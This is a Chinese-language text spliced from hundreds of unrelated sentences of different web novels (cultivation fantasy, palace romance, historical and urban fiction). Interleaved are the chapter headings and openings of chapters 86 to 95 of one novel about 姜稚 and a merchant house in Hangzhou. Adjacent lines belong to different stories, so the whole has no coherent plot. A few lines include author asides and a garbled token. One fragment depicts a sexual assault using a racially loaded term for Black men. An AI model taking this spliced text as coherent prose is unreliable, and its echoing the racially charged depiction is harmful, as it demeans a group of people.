张三风自然不可能上这个当,他对这样的事情早见多了,商场上的人可是比这更有心机,更无耻。所以张三风应付起来自然是得心应手。
任务时间:一个月,任务完成后可随时自行选择回主世界的具体时间。
如果是后者,怕是此人武功不次于张召重,甚至比张召重更为可怕。
南溪眼中的血色弥漫,她全身上下都散发着怒火,在她眼里,蓝月就应该乖乖的听她的话,就该被她踩在脚下永远没有翻身的机会,可是蓝月这一反驳,彻底的点燃了她心中的愤恨。
不过既然答应了老于,等系统任务完成后,还有时间的话,徐阳也不介意去试试。
寒烟尘心里这么想道,然后便暗自下定了决心,他施法给蕴星悄然过渡了一些灵气,让他深度昏睡,而后趁此机会将他一把抱起,来到了王城海域,施法召唤雪曳。
离毕业的日子越来越近了,毕业之后又该何去何从?一起考大学?还是彼此分道扬镳?吴华不知道,也不想知道。
即便有治疗术和各种药物,但是身上流出的血,伤口处的钻心剧痛,这些伤害却是实实在在的。
远在云水县的暮西脸色发青的回了客栈,已经一天一夜过去了,他始终没有蛛丝马迹,更不知该如何去向即玉解释。
此话一出,宋思媛虽然感觉意外,却也是意料之中,他所说的症状与洋医院的诊断相差不差,花铃十几岁的年纪,身体机能迅速降到六七十岁,这一点任何人都无法否定。
不过也确实提醒了秦念安,帝子好像确实是那个什么大楚宋公子。
这是她结婚两年来每天都必做的功课,她辞去工作专心照顾家人,一颗心扑在裴承安的身上。
“谢谢姑父!”何秀秀看着碗里的肉,哪还有什么嫌弃,要知道她来了这么长时间,也就正儿八经的吃过几块肉而已。
看到沈清气得无话可说,顾梦心里瞬间就愉悦了,脚上虽然还有点痛,但是并不妨碍她去找个位置坐下来。
十八年前她好不容易入了地府见到了苍梧哥哥,却也看见了原本应该是活死人的聂无忧。
体表焰苗成型,湿婆身体高高跃起,出现在冷空头顶,随后右腿上举焰火环绕如斧劈下。
她任他抱着,嘴上说着话,至于脸上是什么表情,陈烬看不清了。
秦念安带着顾清月离开的同时,青萍和暮霜自然也会随之离开,那么青明皓的目标也就没有了。
劫后余生,纽德禄长呼一口气,多少是把下堂保下来了,损坏的上堂雅间只能慢慢修缮。
“谁叫那家伙昨天抓了一个地下组织的首领!”克里斯的目光一直在路边的饮食店上流连着。
对于之前铁手血屠口中的那个神盟国度顾冬晨是真的有点意思,不过就算顾冬晨不问,铁手血屠页会告诉他。其实按道理来说,完全了解整个世界势力的划分,这才是一个合格的神龙战士该有的。
第一卷 第86章 峡谷反杀现场
峡谷内。
黑甲骑兵根本不给黑衣人们逃跑的机会。
“留活口。”在最前面的骑兵首领大声喝道。
二十人瞬间分成四队,五人为一组。
他们如同四把黑色的尖刀,如幽灵一般,精准插入黑衣人的阵型。
隐隐约约中,她觉得自己内心的变化,应该跟脑海中的记忆片段有关,但具体有什么关联,她却是没有半点头绪,因此,她觉得非常不安,心中慌乱彷徨,不知所措。
不远处,太监有些面色泛苦的看着刚刚闯进来的两个男人,只因为这俩人乃是如今大明的清远伯王友和荣昌伯陈贤。
大魏皇城深处,一道可怕的气息,轰然升起,然而那道气息在一瞬间便消失不见,很多人只是背后忽然起了一缕寒气,随后便什么都感知不到了。
“五谷杂粮会在身体中留下杂质,不利于修行,这些谷物蔬菜都是普通凡俗之物,即使有灵气培育,也无法完全去除其中的杂质,偶尔解解馋倒无妨,每日食用却是有害无利。”封铭眉头微皱,不赞同的道。
尽管俞虹拼尽了全力挣扎、反抗和喊叫,但在三个身强力壮的尼格大汉面前根本起不了多大作用,反倒更进一步激起了对方狂暴的野性。
叶楚深吸一口气,如今已出了皓梦宗的范围,距离这么远,应当无人能以神念锁定于我。
他微微一笑,没有出声唤她,但不知是否心有灵犀,她随后也睁开了眼睛,两人的目光第一时间便相遇了。
杨彪,司马防两人脸色一变,这个新来不久的刘伯温,很是得到刘协的信任,而且此人智谋通天,要是长期留在皇帝身边,恐怕对世家不利。
赵无极明显感觉到唐三身上的气息有着些微变化,明明魂力并没有因此而增强,但不知道为什么,魂圣级别的实力令他感觉到了几分危险。
现在的情况,就是不知道是不是真的,万一是真的,闻仲带着兵马前往涿城,一定会对那边发生变化,他们继续留在渔阳也没用,所以要派大军前去帮助。
对老百姓来说,政府拿钱修大楼是肯定要喷的,拿来修学校,那就肯定不喷了,而是应该竖起大拇指,当知道这钱还是本地商人牵头捐赠的,那肯定是只有感激的份。
墨珏撕裂空间回到这片大陆的第一时间,就收到他的传讯,所以才会赶到楚府。
“既然摄政王已经把我推给了别人,那就不要再做让我误会的事。”沈鸢眯了眯眼,狠狠用手肘撞开他。
“也不能这么说,阿诺的想法也不是没有可取之处。”周明海很客观的说道,完了一看陶慧嗔怒的眼神,马上就闭上了嘴巴,对着王诺发送过来一个爱莫能助的表情。
这一刻,自认为早已看透了陈岩石两口子真实嘴脸的祁同伟,还是被王馥真的操作给……怎么说呢,不能说惊到了吧,至少刷新了认知的下限。
唯一没算到的是,人家两分钟内就给出答复了,而且算到的点位还和奥雷诺相差不多,或者说,那边还有美元/欧元的做空头寸没丢进来?
天生几乎无敌的他们,可以拥有更多的时间和精力,去最大化的发掘适合自身的职业。
第一卷 第87章 山影卫的由来
戌时三刻,车队抵达一处隐蔽的山庄。
“公子,前面就到咱们的据点了。”福安的声音从车外传来。
姜稚掀开车帘看去。
暮色中,前方山坳里隐约可见几点灯火,那里看似有座农庄。
这农庄坐落在山坳深处,从外面看只当是普通富户的别院,但进入其中,才能发现别有洞天。
“你这家伙没说我坏话吧,不行我回头要把录像找出来,让人翻译给我”科比才不相信从艾斯嘴里面出现赞扬的语气。
似乎做出了什么决定,变异鹰也突然大吼着,鹰爪之上竟然也泛起了和叶痕同样的爪芒,黄色的爪芒包裹着鹰爪,狠狠的抓向泯灭。
虽然林辰对自己的异能很有信心,但他自己的队伍还是有些势单力薄。如果可以,他不介意利用政府的能量发展自己的势力。显然,这次委托就是一个最好的机会。
听到这熟悉的声音,魔王顿时一喜,连忙回头,看着叶痕的脸,一直悬着的心也慢慢的放了下来。
“永劫师兄,请你放心,你担心的事情,师弟我会阻止其发生的。”这时候,青岚走到永劫身边,双手合十,温和的说道。
殿堂之中,其他几个半神也停止了搏斗,默契的退到了较远的地方,为阿基琉斯两人打开决斗的场子。
“当然有,难道你以为我当初是在骗你不成?”昭雪脸上微微有些不悦。
“来人!”恶念充斥心头的撒加,没有多想。立刻传唤手下,开始做安排。
分散的目的简单,就是避免欧阳清华万一发疯出手杀人,要是那样的话,他们这边就算是只剩一间板房,也能够临时调整把控制权集中到手里,保证计划依然能够执行。
过了约莫一刻钟,石鼎周围香气四溢,霞光大放,停止了灌输灵力的动作,沈易双手结印,打出最后一道灵诀,“嗡~”的一声,石鼎轻轻一震,种种异象尽皆消失无影,只有那若有若无的丹香似乎在描述着什么。
死亡是有顺序的,死了的人几乎都是邻居,江河猛地明白了什么。虽然现在一点证据都没有,但是江河已经有了百分之六十的把握。
逐渐平静下来的陈雪,她静静地躺在那宽阔的胸膛上,这一刻她感受到了前所未有的安全和满足,整个过程就像是梦境一般,让她迟迟不愿意从这美梦中醒来。
“天元老贼,你的速度不是惊人吗?怎么不逃跑呢?难道你已经老了?没有气力了?”宋征瞬间出现在天元身前,再一次用言语来激怒着天元。
他出去战斗,身后隐藏着一个狙击手,对他来说,绝对是安全的保障。
“社员一,加油”而米亚却莫名其妙的给郁楚轩加油道,看米亚那意识是真的准备让郁楚轩跟这四名大汉来一场真人PK。
纠结片刻后,丹妮莉丝猛然想通:问题的核心其实就在于——艾格到底是不是真的身中剧毒,命悬一线?
所以它低声吼着,从它那个巨大的兽口中不断的发出威胁的声音。它身上的力量越来越强,不断的低吼着,想要让眼前这个庞大的妖龙知难而退离开它居住的峡谷。
沐霓凰放下唐刀,就在云卿卿以为获救之际,沐霓凰反手将一颗不知什么的东西塞进她的口中。
一个资本家,既有野心实力,又有眼界和手段,而唯独没有软肋,所以,他才是晏兰舟。
第一卷 第88章 “稚川”代言人驾到,请接招
言离平静地离开了,几人心中的大石头总算移开了,只是凌秒心上又压了一块更重的石头。
“因此,臣在这里向皇上、皇太后启奏,请皇上与皇太后将宪法及有关法律的制定纳入到目前的主要工作中来。”袁世凯边说边看皇上的表情是否有没有变化。
好在这次拍卖所得国内税务部门能留下一部分税收,回美国则能抵扣。
“筱汐。”冷墨琛修长的手指抚上我的下巴,迫使我抬起了头,我还没来得及看清他的神情,他炙热的唇就吻了上来。
这个想法太荒唐了,3000万两还是租用,难道东太后真的以为俄国没有其他办法了吗。公使夫人从座位上站了起来,她用力做了两次深呼吸才让自己的脸色没有那么难看。沙皇虽然想要釜山港,可也不能任由大清牵制。
“什么!?”我诧异的看着他,做他的情人?他脑子坏掉了吗?人家都说,好马不吃回头草,我怎么可能回去做他的情人,简直是天荒夜谈。
第二天时近中午,刘夫人和李丹若母亲、四奶奶杨氏才回到府里,傍晚,李丹若先到母亲院里,接了母亲一起往正院给宁老夫人请安。
猫抓老鼠的游戏,秦方白这样的人是最擅长的。苏无恙的退路被堵死,车里估计也有人在候着。
其实倒下去也挺好的,可以看看纪林熙的反应。言离如此想着,但事实却是她稳住了。
“知道啦!”贝贝翻翻白眼,转身从门缝里盯着外面的一举一动。
特里同朝德莫斯又笑一声,才挺身从树叉子上跳下去,双脚稳稳落到茶晶石子的地面上。
不过花青衣和谢念亦两人现在倒庆幸艾香儿和柳云清两人没有回来了,不然她们两人便要跟着他们过逃亡的生活了。
‘花’青衣也不客气,径直yRs:七彩坊事情我已经听了,相信司徒兄也一定听了沈尘事情吧,我来此就是要请教司徒兄有关沈尘事情。
尤其是自己的部队,一直缺少一个政治处主任。上级在暂时不调动马永成的情况之下,这个政治处主任肯定是这次整风运动的主持人。而这也正是钱朋这个老资格的保卫干部。下到自己部队之前,李子元的担心所在。
“皇帝是看到了什么时候的我,就觉得我变了呢?”慕容芷现在看到的就是个笑话。凭什么?这句话说到现在是凭什么?
如果她在这里,自己也就不必为战士们的情绪‘操’心了。只是无论眼下自己怎么需要常娟,但是人家毕竟都不在身边。现在自己能做的就是丢掉幻想,一切从实际出发。还是尽可能的利用自己身边,现在有限的人来想办法。
“还不走,难道好要我撵你走?”无茗一扫刚刚的抑郁的眼神,淡淡的说道。
林媚娩看着他们二人眼神对战,心中不免冷笑,过不了多久我还是会去云山派的,不要着急。
云豹的提议是目前来说最为稳妥之法,唐笑和丁墨轻轻点了点头,表示赞同。
“那咱们炼的丹呢?”歪鼻道人说着赶紧上前查看,只见炉内空空如也,那五十粒迷情丹不翼而飞了。
此时,芙拉尔的身形已然暴冲而至,‘火舞’短匕火光聚敛,凝于匕身,朝阿尔莉亚星河战甲的连接薄弱处斩去。
“老哥,你看咱们是不是先离开这,在这影响怪不好的!”李永乐见周围,围着不少人在围观,说道。
其时正当寒冬腊月,中原武林人士心目中的武学圣地武当山上,一位鹤发童颜的老道,心有所感,踏出经年闭关的精舍,仰望万里星空。
就在一个时辰以前,徐辉祖正在和各位军官商量战事,突然有卫兵来禀报有两个使臣求见,在同一天来了两国使臣,徐辉祖当时就觉得不妙,现在一见,果然如此。
在无数目光之下,萨德缓缓伸出左手,将右手的魔导聚能环摘除,抛了出去。
然后说自己妹妹口无遮拦,有时候开玩笑过了头,还望公子不要生气。
立时间,武当派的会客大殿,被挤了个满满登登,若非这大殿足够宽敞,恐怕真装不下这么许多人。
秦学东捏着这块翡翠看了半天,也没看出什么名堂来,不无担忧的说道。
“你怎么不说是维护地球和平,维护人类昌盛繁荣呢!”李永乐翻白眼道。
仙儿和独孤傲雪两个都给西门狂施展了一下,她们现在学到了所有技能。
如今,师父的容颜的确苍老了很多。自己才下山一月有余,但还是明显看出了师父的苍老。
走了半天的山路,虽是剑神,也已饿得肚子咕咕叫了。谢璧迈步走去,留意着路边的建筑,却无人留意他。大名鼎鼎的剑神,未必识得贩夫走卒,反之也是一样。在行人与商贩眼里,他也不过是个路人,只是腰上挂着剑。
“该轮到我来给你赔礼了。”突然袁绍英俊的面孔上出现坏坏的笑容。
第一卷 第89章 赃物展览会秒变翻车现场
姜稚步履从容,跟着王明远一起穿过闹市,目光却不着痕迹地扫视街道两侧。
当铺、钱庄、绸缎庄…
杭州一带果然繁华。
一行人不多时便到了稚川商行的货仓处。
被查封的货仓位于城西运河拐弯处,占地广阔。
朱红大门贴着封条,四名衙役持刀护卫,守卫森严。
此刻他也不敢贸然回国,他身后除了国安外,暂时还没有能拿出手的超能力量。
毒蝇们到这一幕,毒蝇王看一眼天空中的乌云,再看一眼罗曼蒂克在的地方。
“看到了吧!别问我为什么觉得他恶心,我可不回答你这个问题。”赵倾城率先道。
燕京的竹家、周家、杨家、刘家这些大家族,在华夏的顶层圈子里,地位相当超然。
林格见大火没有继续扩散,看向战场中间,绿龙周边不知道什么时候多出大量黑色的线条。
“师父你可真是折煞我了!”虽然知道师父李翰在跟自己开玩笑,可是徐洪还是觉得这种玩笑让自己感到压力很大,只见他微微的有段惶恐道。
自踏上修道一途一来,沈锋自觉也算开了眼界。但像“逍遥游”中所说,一条鱼居然体长几千里。化成的鹏鸟,其背不知道有几千里。像这样的鱼和鸟,沈锋不要说从没见过,却是想都不敢想。
凌雨馨美目盯着侃侃而谈的闻一鸣,心头泛起阵阵波澜,越了解对方,越发现其深不可测的底蕴。无论是香道,还是古玩,甚至是美食,如数家珍,自信淡定,从来都是荣辱不惊的大家风范。
孙毅也不知道尼斯队能不能顺利取得胜利,他只能把希望放在实力最强的萨拉赫身上了。
被人有目的有预谋地针对,这种背后受敌的感觉,是让杜开真正发怒的原因。
这途中经过了几个星球,都可以当做很完美的生命试验田,天心和兰幽忍不住选择了两个作下了自己的记号。
可惜今非昔比的林恩及时闪躲了过去,趁着对方尚未缓劲变招,稳住身姿的他便已经蹿到袭击自己之人的面前,手里的匕首毫不犹豫地划向对方的喉咙。
在京城待了几天之后。李琳琅带着妍妍也需要回到余杭了。毕竟李琳琅的家并不在京城。在余杭住习惯了,李琳琅会在余杭市内更加适应一些。
突然之间,少韵发现不远处的摊位突然一下子涌入了不少的人,然后也忍不住跑过去看热闹。
可乐感知了一下李鸿手上神力,发现和死亡峡谷中那部分阴冷的灵气完全是同根同源,现在可乐已经相信了,李鸿就是那两位古神中的一位,很有可能还是那位奴役众生的潮。
谭苒心下一紧,平日里顾玲玲洗澡也不会花上那么长时间。她有些焦急地踮起脚尖张望,浴室里只有哗哗的水声。
这就是类似于一个中介平台和签约公司为一体的作用。蝴蝶音乐提供机会,李琳琅提供作品。然后得到的报酬在后面平分。
徐乾再次将自己的心神与绾绾的心神纠缠在一起,二者几乎不分彼此,你中有我,我中有你。
他们两个虽然在一起,但并不是挨着的,萧豆豆如果想给他雷,势必会被一梭子弹打的亲妈都不认识。
姜准加完薪之后,更是有一些商业嗅觉敏锐的家伙们冲到了EDG的会议室,想要商讨Nexus的独家直播以及各种代言权利。
第一卷 第90章 西湖别院定计策
牢狱中的孙成,双手还死死握着牢门,语气满是祈求:
”求你让我见我娘和儿子一面,我想确认他们的安全。”
“可以。”姜稚点头,“我以‘稚川先生’的名义担保,明日此时,我带他们来。但现在,你要把你所知的全写下来。”
姜稚从袖中取出纸笔递入。
“姐你先别生气,我和你说,我今天逃课带了一个同学来……”乔若宇蹩脚地解释着。
“爷爷,你放心,我一定会好好的爱护婉婉的。”唐珏也是认真的回答到。
波罗斯现在可没空管布罗利怎么想的,此时波罗斯全身电闪雷鸣,散发出耀眼的光芒,不一会儿光芒散去,波罗斯变身完毕,随后什么话都没有说,身体化作一道白光向着布罗利激she而来。
听到布罗利的话,织绘点了点头道:“恩,姐夫你真聪明,怎么样?好不好嘛?”言语的同时,织绘再次晃起了布罗利的手臂。
然后作者君的新坑已经开了,古言的,古言的,古言的,新的挑战,希望作者君能够挑战成功吧,也希望大家能够多多支持,新坑【权宠恶妻】按照作者君来看,好像是慢热型的,哈哈哈,作者君一直都属于慢热的,怎么办?
“嘛,坐下说话吧。”越夜幕亚大大咧咧的走到烨由冰箱前拿了一罐藏在最里面,被可乐七喜挡住的啤酒。
“你,你说真的吗?你答应了?”单心妍本来还以为林子凡不会答应,没想到他就这么短短的几十分钟,就想清楚了。
作为杜海滔的师父,陈杰西觉得自己有义务要好好纠正一下他的审美观。
那他们现在是不是也可以用洗髓丹来激发出普通人的潜力,让他们变成异能者呢?
这内侍名唤荀广,是薛家安在宫里的人,目的就是为了帮她做一些她不便出面的事,这么多年,荀广在宫里有了不少势力,对皇后和薛家也是忠心耿耿。
那人见状恶狠狠的看着叶逐生,但感觉到脖子上那冰凉的刀锋,最终还是点了点头。
在方立言的带领下,宁枫来到后台,透过幕帘窥视外面,宁枫发现受宁氏集团邀请的国内外各大新闻媒体以及网络媒体记者们早早就抵达了发布会现场,在干净的台上巨大的荧屏正循环播放着做好的熊猫萌萌宣传片。
徐铮眼睛一亮,玩偷袭,乃是他是最爱的。旋即就要撕自己的一副,忽然一块黑布呈到自己眼前。
石墨烯材料的电池,不管是在充电效率上还是在使用时间上都能高出现在的锂电池无数个档次。
沐灵歌三人目送他离开的背影,等客房门一关上,沐灵歌便捏起了一道隔离屏障。
宁枫也举起酒杯,轻轻得喝白薇碰了一下,然后一饮而尽之后说道。
虽然白雀不是白薇的亲姐姐,但是能够做到这份上,能够做到宁可被妹夫误会自己,也要一心为自己妹妹着想。这样的姐姐,绝对不次于亲姐姐了吧。
叶逐生眉头一皱,扭头看了看那些飞来的箭矢,直接将高洋横抱起朝前跑去。
就说刚刚,你不还把偷袭昴日星官,偷了人家空间袋的事情,转嫁给阿桃那丫头了吗?
唐菀饱含激情地说道,典型的喝了大碗大碗“鸡汤”后的亢奋状态。
“好!”林向南点点头,和唐洛岩示意了下,看着他离开的背影,渐渐地,嘴角的笑收敛了起来。
第一卷 第91章 刺杀阴谋被彻底粉碎
夜已深,宝昌号后院书房内仍是灯火通明。
皇后娘娘让他前去,就是听到了正阳宫人的禀报,说太子这日心情颇不平静,焦躁烦闷,似乎有什么苦恼。皇后娘娘猜想着,这会儿最有可能让旬儿头疼的可能就是悠然山庄的事,把他喊来,想要宽慰宽慰他。
仅仅一击,就让黄金白石十分清楚对面帝二号的力量,同时也明白自己即将面临一场死劫。
而直到临走的时候,宫旬拿出为两位老人准备的如芳斋点心,才真正表现出他的有心。
他们找歪理跟院长推托责任,反而连自己都相信了,还越想越觉得就是那么回事。并且到处散布王家伪善的谣言。
克拉布和高尔听到黎威的吩咐后,并没有第一时间离开,而是一脸犹豫地看向德拉科。
等李少扬放开恩特伯爵,想要躲避的时候,已经来不及了。蓝伯那一脚正好踢在李少扬腹部。
对于葛叶紘汰的执念,让驱纹戒斗自身意志越来越强大,原本的黑暗骑士意识则反而被吞噬消灭。
王大海在走进包间后,脸上的笑容全部收了起来,而在包间里面除了三个坐在沙发上玩牌的男人外,还有一个坐在电脑前,双眼冷笑着盯着电脑画面。
不自觉放轻着脚步走上前,楚律坐在了白悦然对面的椅子上,隔着桌子,看着睡着的她。
双胞胎赶紧停止话题看过去,原来是程止终于忍受不住‘母爱’,奋力挣脱程母坐回自己席上,程母见幺儿这样对自己,不免将一番怒气发到桑氏身上——虽然程止明显面色红润,体态适宜,健康状况十分良好。
凌妙妙觉得自己被慢慢吊了起来,绳索般的藤蔓紧紧勒着她的手臂,一阵充血的疼痛过后,便是酸涩的麻痹。她悬在空中荡来荡去,浅碧的裙摆轻轻触碰着脚面。
她将信纸紧紧攥在手中,难以置信地跑到了窗边,窗外花园里雨水洗过的翠绿枝叶摇曳,白色绣球花上还带着露珠。
这三件套就是隋宇在进行过一翻对比后,综合了外形的酷炫程度、对自己弱点弥补的性价比以及苏柔跟白玉璇的意见后,选择的常规战斗套装。
她板起脸,拒绝再和这个初中生说话,名牌大学生的骄傲还是要保持的。
屋子里,说话声音轻轻的,让朱泽葕听不太真切,但无非是母亲轻轻哭泣,六弟在安慰母亲。
沈希捧了一个草莓布丁, 他已经等了一早上了, 昨天还把论坛里关于阿娇的帖子看了又看, 真的看见真人了,支支唔唔说不出话来。
“对对对,晚辈要问的就是这个。”少商就喜欢万老天这种干脆之人,不跟你说什么前因后果,直接上方略步骤。
因着陛下独宠皇后娘娘, 是以这些年来宫中也未再采选, 她和张怜月就是最晚进宫的宫妃。熬了这么多年, 从来都是老老实实的, 太后和皇后也愿意照顾她们一二。
虽然这样,但这套战甲依旧凶悍,再次震荡,倒刺力量无限凝缩,然后突然爆炸,就如同有千万长枪同时在攻击云天一般。
第一卷 第92章 纨绔少年秒变爆料机
第二日,卯时初刻,王宝被“请”到了西湖别院花厅。
此人打眼一看,就是个被酒色掏空了身子的纨绔。
他眼袋浮肿,面色苍白,身上穿的锦缎袍子的料子虽名贵,但却皱巴巴的,上面还沾着些酒渍。
他自从飞升到仙界以来,还从没有人,拿自己的亲人,威胁过他。
皇清这么一查探,心中顿时很诧异,魂力只是消耗了三成,相比于全部磅礴的魂力,这一点算是无所谓的。
这些看似无关的事情,其实已经逐渐在引导出一条主线来。请大家一定要注意,‘我’的过去和现在,这一部分章节里所显露出来的线索,这很重要,过去的人和现在的人,所经历的一切是否可以重叠起来呢?
但看样子,两人去意已决,并不打算征得蔡夫子同意,举步向黑暗中追去。蔡夫子微微眯眼,再也没有说什么。两人存心送死,他好言难劝,众人都是见证。巴不得两人死在矿道中才好,这样一来,倒省去了直接动手的麻烦。
这一次,如果不是担心因为自己施法招惹了一位强大的敌人的话,许观主说什么也不会冒险的吞服这么一粒几乎就是九死一生的丹药,因为他的伤势虽然重,但是只要调养三两个月还能够恢复的。
天外陨铁被用来打造大剑师的剑甲,是古年间陨星坠落大地的残片,比七彩铁晶可珍贵多了。他一下子带来三百斤,可见血红湾真是下了‘血’本了。
令他想不通的是,对于自己的出现,两人应该像抓住救命稻草一样才对。可他们不心怀感激也就罢了,听上去反倒不想跟他混?
有挑着担子准备进行买卖的生意人,也有赤膊抗剑的嗜血狂徒,形形色色的人,平常难得一见的,现在密密麻麻地堆成了一片海洋。
听了梁姐的鼓励,我心中顿时燃起了熊熊斗志,脑子一冲动,过去抱住了梁姐,而梁姐也没有挣扎,闭上了眼睛,伸手环抱住了我的腰。
我转身就往楼下走,现在想起来,我很庆幸,幸好我没有选择直接跑下去,不然我恐怕会后悔终生。
一想以前的日子,岑仓眼底蒙上了一层晦暗,虽然已经释怀,但还是十分不爽,尤其还遇上了这么一个相似的势力,简直就有点阴魂不散的感觉。
“不可能?”秦子皓冷笑一声,手指轻轻一弹,自己身前的黄色光芒散开,聚集在一起,变成一个黄色的光球,朝刘仙师砸了过去。
西装下的人儿非常不老实,在他的怀里不停的蠕动,搅得他挠心挠肺的痒,她还抱着他的脖子,两片柔软的唇发出阵阵诱人的轻喘,不停的在他的颈间亲吻。
如此事情,不光是对他凌飞,恐怕对任何一个男人来说,都是奇耻大辱。
“也罢,我给你出个主意!”程怀亮想了想,向他如此这般、这般如此的说了一通。
高手可以把绿舌头吃成很长很长也不会断,可见,吃个棒冰也充满了技巧。
热烈的气氛中,时间一分一秒的流逝。转眼之间,已经是中午十二点半了,但中央广场另一边,秦子皓的身影还没有出现。
而就在此时,服务员端着药膳上来了,一人一份,各自端到了四人面前。香喷喷的药膳,顿时吸引了几人的注意力,喉咙滚动,不由得吞了口口水。
第一卷 第93章 堂审反转三连击
杭州府衙内。
王明远得知孙成被劫走,虽脸色铁青,心中却暗暗松了口气。
慕凰让萧九御帮忙看着点君辰心,君辰心要是醒过来了,一定要告诉她,她不想因为君辰心而暴露。
对于吃方面的,吴凡实在算不上一个真正的吃货。但他可以学,当一个好好学习、天天向上的学人精。
别说是林北,就连渡劫期老祖,散仙,就算是真正的仙人,也不敢将自己的肉身放在混元之气当中。
因此,要是可以榜上林北这个大腿的话,很多事情都会方便很多。
“别看有些人表面上光鲜亮丽,其实脚趾头已经从袜子里钻出来了。”潘凯想起了曾经在网上看到过的一个段子。
叶惜云一动,她背后的巨力魔王也跟着动了起来,两人一前一后,分别对上了剑心宗的绝天剑仙以及金光寺的普济和尚。
但孙德友提醒了他,他却也没责怪孙德友多话,反而是提醒了周安。
天劫教为了安抚这些人,直接将一名弟子派过来,亲自解释给他们听。这样一来,不仅能让百姓们信服,也加深了其在俗世的影响力。
绝罗山是妖罗皇的大本营,绝罗山外围地带,已经几百年没有修士这样走着进来,故而这些妖兽几乎没有什么警惕心,这才让华天轻松的进入绝罗山深处。
做完这些,郑伟奇处理了两人进来留下的痕迹,然后悄无声息的退了出去。
恒智禅师神情震惊,要知道这佛门净土,可是传说中几乎要成真佛的佛修才能在体内或者掌中凝练而出的净土世界。
“师姐不用放在心上,我的修为太低,被人误会也是正常!欢迎师姐随时来做客!”洪天耸耸肩无所谓的说着。
城上陈宫望着曹军大半都奔向东面,心头一喜,即使知道曹军分兵是为了击退自相县赶来的八千援军,仍旧让他感觉到取胜的希望,现在攻守势易,他们变成兵力更多的那部分了。
在发现狂三的踪迹立刻赶到现场后发现已经迟了一步,便准备向过去那样消灭这个不管杀多少次还是会完好无损出现的精灵。
因为朱重八从来没有想过这个时候竟然还有人来抢他的东西,这简直是太可恶啦,朱重八甚至都觉得原来自己太仁慈了,如果还是那个什么人的亲戚的话,这一次朱重八绝对不会再手软的。
接下来的事情没啥悬念,在这个妹子身上花了五六分钟,苏诚终于搞到了她的微信。
虽然朱元璋立下的战略是这一段时间不会主动向外扩展自己的势力范围,只求对于现在自己的地盘儿进行稳扎稳打的开拓,使这边成为自己非常坚实的根据地。
而能够加入这东皇学府的,都是天才中的天才,妖孽中的妖孽,哪一个不是尸山血海中杀出来的。
那巨蜥再次嘶吼出声,整个身躯,挣脱开那漩涡,展露在众人之前。
哪怕魏寰脸上看似笑容明媚,可依旧掩不住说起这些话时候流露出的阴霾。
特别是切肉的时候,用的劲都要更大才行,才切了不过一会,手腕就开始有些酸了。
第一卷 第94章 种善因,得善果
西湖别院的书房里,姜稚正在看各分号送来的急报。
白猿彻底愤怒了,脸色越来越难看自己的尊严一度的被碾压,在怎么说在这森里深处还没人敢这么对它,要么打,要么跑,竟然无视其中。
可是眼前正是你死我活的关头,谁能听他指挥呀,那声音又连喊了好几嗓子,也没人理他。
木剌尔被胡邪拦住了,白焰带着刀翻身上马,“蛮子,对不起,不能帮你打架了,这把刀算我借你的,下次再见我一定还你!”说完纵马远去了。
他们这边有四五台私家车,这里面的人都王明养殖场的人,也是平时替王明办事最多的团队,所以算是他妈精英了。司机开着车,驶下主道,就减慢了速度,车头斜着奔着赵旭他们那边靠拢过去。
过午不食是佛陀为出家人制定的戒律。在律部中正确的说法叫“不非时食”。也就是说不能在规定许可以外的时间吃东西。这个时间就是在太阳到正中午后,一直到次日黎明,这段时间是不允许吃东西的。
事实上这艘漆黑的宇宙舰里也没什么太多的值钱物资,无非是些食品、药品补给和极少量的制式武器弹药。
当至强挨了一刨奔,身体往下倒的时候,凶残的汉子一瞬间抓住至强的衣领,随后猛然向前一拉!至强一下子就被提了起来。
同一时间,辽县某大型电玩城里,正坐在办公室喝茶的至强接到了一个神秘中年的电话。
王天是王正德的大儿子,不足二十岁,修为却在几年前就突破了地武境,天资恐怖,早已外出历练。
秦昊之前在星魂宗,跟随师尊司徒明朗的时候,可是连星魂宗的护山大阵,都研究过好几次,眼前的大阵,秦昊不用天道之眼,都能够破解开。
张兰芬一路急行,等她到了许自清家门口的时候,就见对面一个少年领着一个婆子走了过来。
随着这一声暴喝声,他那虚空握爪中,好似有殷红气息翻涌而出,瞬间将鸡冠整个身体笼罩在内。
自己要找出四天宫隐藏的人,避开他们完成赌局,对方肯定想方设法找到自己,并且阻止自己。
另外的帐篷中,梅丽翻身时发现身边空空如也,睁眼没有看到朱莉安。外面火光很亮,便明白她肯定说不着。
琴音一转,变得恬静虚空,武松烦乱的心也渐渐平静,奇怪的是,蚊虫也随之减少了。
二人进了病房,偷了几个皮包,正想离开的时候,柴有田想去找的毛志杰。
到了君临,陈最先把季思雨送回38楼,然后和月亮回到26楼公寓。进屋后,他简单洗漱一下,倒在床上蒙头大睡。
“韩公,那投贼的张良是你子侄?”张良还未说话,长髯老人正对面坐着的一人却是率先发出疑问。
看到旁边的人突然消失,其他人都心有余悸,他们战战兢兢的在原地防备着。
妈呀,万幸万幸,还好我老薛机灵,坚决不看,若不然,这次死定了。
蛇盘山的议事大厅内,一名筑基后期的玉檀宗修士极为恭敬的坐在魏无恙右侧,他是以前玉檀宗的一名长老,经过如此一场大劫,昔日的威严和自傲全都在矿洞里被碾碎。
第一卷 第95章 民心,有时比刀剑更有力量
二月初三,西湖别院。
细雨敲窗,书房内烛火通明。
姜稚正对着烛火,看父亲从京城送来的密信。
“谢太师在前日进宫面圣,呈‘盐茶议’细则。提议将盐引配额分为三等,即世家占四成,皇商占三成,地方商贾占三成。并增设‘盐引考核’。”
四象阵布置好以后,杨兰突然发现,这片天地的灵气,严重不足。
幻的声音才刚落下不到五秒钟,突然间,这个拥有极高智慧的智脑,那冰冷地电子音就再一次于会议室内响了起来。
“好!那就请罗大人问问这些匠人们!”见三人不承认,石远也不再多说,转而对着堂上的罗浩天说道。
石远并不是林家的家丁,对于石远方才推搡自己的事,他也只能忍着,他心中自然满是怨恨。眼下好不容易有机会,他当然不会放弃这为难石远的好机会。
扬州城城南,虽然现在难民泛滥。但好在这南庆的朝政还算是知道扬州的重要性,并没有放任那些难民不管,也总算是有官兵在维护着秩序。
孙诚很担心对方在火星上的实验室内留下什么后手,比如在被他入侵时突然向其传送警告信息,并将这位超级领袖吸引过来。
“靠,不是你让我来这儿的么,你丫是不是故意的!”索克萨尔不能忍。
“石老弟!石老弟?你想什么呢?难道我说的不对?”见石远久久没有回话,郭仁杰不由好奇的喊了石远两句。
秦绾忍不住“噗嗤”一声笑出来,不过早上她确实坑了顾宁一次,这会儿心一软,也就点点头。
